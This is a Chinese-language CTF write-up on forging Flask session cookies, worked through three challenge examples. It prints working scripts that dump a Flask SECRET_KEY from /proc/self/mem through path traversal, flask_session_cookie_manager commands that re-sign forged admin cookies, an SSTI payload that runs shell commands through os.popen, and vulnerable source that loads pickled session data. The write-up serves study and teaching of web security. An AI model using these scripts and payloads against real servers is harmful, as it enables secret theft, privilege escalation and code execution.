前言
Flask的Session伪造之前并未有太多了解,在跨年夜的CatCTF中遇到了catcat
这道题,因此对此类题目进行一个简单总结,lx56
大师傅已经对Flask有很详细的介绍了,因此这里是站在巨人的肩膀上看世界了属于是,膜拜大佬。
Flask
什么是Flask呢,他其实是一个基于Jinja2模板搭建而成的应用框架,具体如下所示
Flask是一个Web应用程序框架,使用Python编写。该软件由ArminRonacher开发,他领导着Pocco国际Python爱好者小组。该软件基于WerkzeugWSGI工具箱和Jinja2模板引擎.
Session
Flask
中的Session
,它是存在于客户端的,也就是说我们在进行登录过后可以看到自己的Session
值,而当我们对这个Session
值进行base64
解码后,就可以读取它的具体内容。
对应Flask,它在生成session时会使用app.config['SECRET_KEY']
中的值作为salt
对session进行一个简单处理,那么这里的话,只要key不泄露,我们就只能得到具体内容,但是无法修改具体内容,因此这个时候就引发了一个问题,当key泄露的时候,就出现了内容伪造的情况,比如具体内容为{'name':'123'}
,而当我们掌握key时,可修改内容为{'name':'admin'}
,从而达到一个越权的效果,因此我们接下来就要说说CTF中怎么获取Key
Key的获取
有两种情况
第一种情况,当源码泄露时,Key也可能会泄露,它的泄露位置是config.py
,在[HCTF2018]admin
中有所体现。
第二种情况,就是当存在任意文件读取漏洞时,我们可以通过读取/proc/self/maps
来获取堆栈分布,而后读取/proc/self/mem
,通过真正则匹配筛选出我们需要的key,这个在[2022蓝帽杯]file_session
中有所体现。
这里就以他为例来说一下这个Key的获取,其源码如下
import base64
import os
import uuid
from flask import Flask, request, session, render_template
from pickle import _loads
SECRET_KEY = str(uuid.uuid4())
app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))
# apt install python3.8
@app.route('/', methods=['GET'])
def index():
return "/download?file=?"
@app.route('/download', methods=["GET", 'POST'])
def download():
print(SECRET_KEY)
filename = request.args.get('file', "static/image/1.jpg")
offset = request.args.get('offset', "0")
length = request.args.get('length', "0")
if offset == "0" and length == "0":
return open(filename, "rb").read()
else:
offset, length = int(offset), int(length)
f = open(filename, "rb")
f.seek(offset)
ret_data = f.read(length)
return ret_data
@app.route('/filelist', methods=["GET"])
def filelist():
return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"
@app.route('/admin_pickle_load', methods=["GET"])
def admin_pickle_load():
if session.get('data'):
data = _loads(base64.b64decode(session['data']))
return data
session["data"] = base64.b64encode(b"error")
return 'admin pickle'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8888)
可以看到它的这个key是随机生成的uuid,在download路由中存在key,我们这里注意到他有三个参数,分别是file
、offset
以及length
,接下来按我们刚刚所说,第一步通过/proc/self/maps
读取堆栈分布,然后在读取/proc/self/mem
的内存数据。这里的话需要说明一下,内存中存在一个动态库/usr/local/lib/faketime/libfaketime.so.1
,这个动态链接库是可以劫持程序获取时间时的返回值。
因此我们这里可以使用这个来进行一个简单筛选,读取出堆栈分布,接下来进行读取内存,此时用一个uuid格式的正则匹配,就可以得到key(由于没有找到复现环境,这里使用的截图参考自其他师傅的Wp)
import requests, re
url = "http://192.168.244.133:7410/"
maps_url = f"{url}/download?file=/proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
# print(maps)
for m in maps:
start, end = m.split("-")[0], m.split("-")[1]
Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16))
read_url = f"{url}/download?file=/proc/self/mem&offset={Offset}&length={Length}"
s = requests.get(read_url).content
rt = re.findall(b"[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}", s)
if rt:
print(rt)
此时就可以进行Session伪造了
题目
CTFshow内部赛[蓝瘦]
题目环境https://ctf.show/challenges
打开题目是一个环境框
看源代码是否有注释两个注释
param:参数,这里的话就可能是提示有名为ctfshow的参数
key:这里的话联想到FLask的Secret_key
随便输入一下,成功进入
界面回显admin,看一下cookie
Cookie: session=eyJ1c2VybmFtZSI6IjEifQ.Y7bSGw.KsS3ZA9BBEYGaflk2Sm5wS3dthw
用flask_session_cookie_manager3.py
进行解密
python flask_session_cookie_manager3.py decode -s "ican" -c "eyJ1c2VybmFtZSI6IjEifQ.Y7bNzg.k_DFbUcMkBDAZwZuKR2gvFuiQhc"
得到数据为{'username':'1'}
,猜测这里应该是想让我们修改为admin
,因此修改1
为admin
,而后进行加密
python flask_session_cookie_manager3.py encode -t "{'username':'admin'}" -s "ican"
将得到的Session去替换网站上的
提示缺少参数,这里想到之前的ctfshow
,拿上去看看
有回显,想到这里可能是SSTI,检验一下
用语句直接打
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
//ls后没找到flag,猜测藏环境变量里了,因此直接看env即可
[HCTF2018]admin
题目环境[HCTF2018]admin
进入环境后发现有两个功能点,注册和登录
联想到SQL的二次注入,但尝试过后发现并非如此,此时无意间查看到修改界面处的源代码中存在注释
应该是源代码,查看配置文件后发现
key泄露,这里应该是考察Flask的session伪造,因此我们接下来对Cookie中的Session进行解密
python flask_session_cookie_manager3.py decode -s "ckj123" -c "Session值"
修改name
为admin
,再进行加密
python flask_session_cookie_manager3.py encode -t "修改name为admin后的json字符串" -s "ckj123"
替换一下
成功获取Flag
CatCTF[cat cat]
题目环境https://ctfm.lxscloud.top/category/test/challenge/13
发现有file,尝试目录穿越,读取文件源码
代码有点乱,这里可以⽤bytes
的decode()
⽅法获取格式化的源码
整体源码如下
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
首先映入眼帘的是flag部分
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
这里的话可以看出是读取并删除flag文件,然后我们看哪里可以获取flag
,看到admin路由
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
当admin=1
时会返回flag,这个应该是需要伪造admin了,这里从源码中可以看出是Flask框架,所以这里的话应该就是Session伪造了,想要伪造Session
,Key
是必不可少的,我们这里注意到Key
部分的代码
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
可以看到Key
是随机生成uuid后去除-
而后再拼接*abcdefgh
组成的。 获取key的话,这里联想到Python存储对象的位置在堆上,我们这里的app
是实例化的Flask对象,key
的位置是app.config['SECRET_KEY']
,所以我们理论上可以通过读取/proc/self/mem
来读取key,但由于/proc/self/mem
内容较多,同时存在不可读取的内容,直接读取它的话会导致程序崩溃,所以这里我们采用的方法是先读取/proc/self/maps
获取堆栈分布,而后再在其中读取/proc/self/mem
,读取对应位置的内容,接下来利用正则匹配筛选即可获取key,这个与蓝帽杯file_session
中的获取key部分有异曲同工之妙,具体可以看这篇文章
https://mp.weixin.qq.com/s/A9OmgHAmGLJPEL4cQBU8zQ
然后读取文件部分的话,是info
路由
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
获取到三个可控参数,start
和end
以及file
,我们这里可以参考蓝帽杯的Wp,简单修改一下参数和筛选规则,就可以得到key,构造脚本如下
import requests, re
url = "http://f014a421-a286-4ff6-a275-4fa0488315d6.ctfm.lxscloud.top/"
maps_url = f"{url}/info?file=../../proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
#print(maps)
for m in maps:
start, end = m.split("-")[0], m.split("-")[1]
start, end = str(int(start, 16)), str(int(end, 16))
read_url = f"{url}/info?file=../../proc/self/mem&start={start}&end={end}"
s = requests.get(read_url).content
rt = re.findall(b"[a-z0-9]{32}\*abcdefgh", s)
if rt:
print(rt)
运行结果如下图
成功获取key,接下来利用flask-session-cookie-manager来伪造session
访问admin
路由,获取session
接下来我们进行解码
python flask_session_cookie_manager3.py decode -s "密钥" -c "Session值"
可以看到这里结果为{'admin':0}
,我们修改为{'admin':1}
,再对其进行加密
python flask_session_cookie_manager3.py encode -s "28d470b5a8164df4b6c77ce187e52e6d*abcdefgh" -t "{'admin': 1}"
接下来将伪造的Session值拿去替换掉网站的Session,再刷新界面
成功获取到Flag
参考文章
https://lxscloud.top/2022/10/09/Python_Flask
https://www.leavesongs.com/PENETRATION/client-session-security.html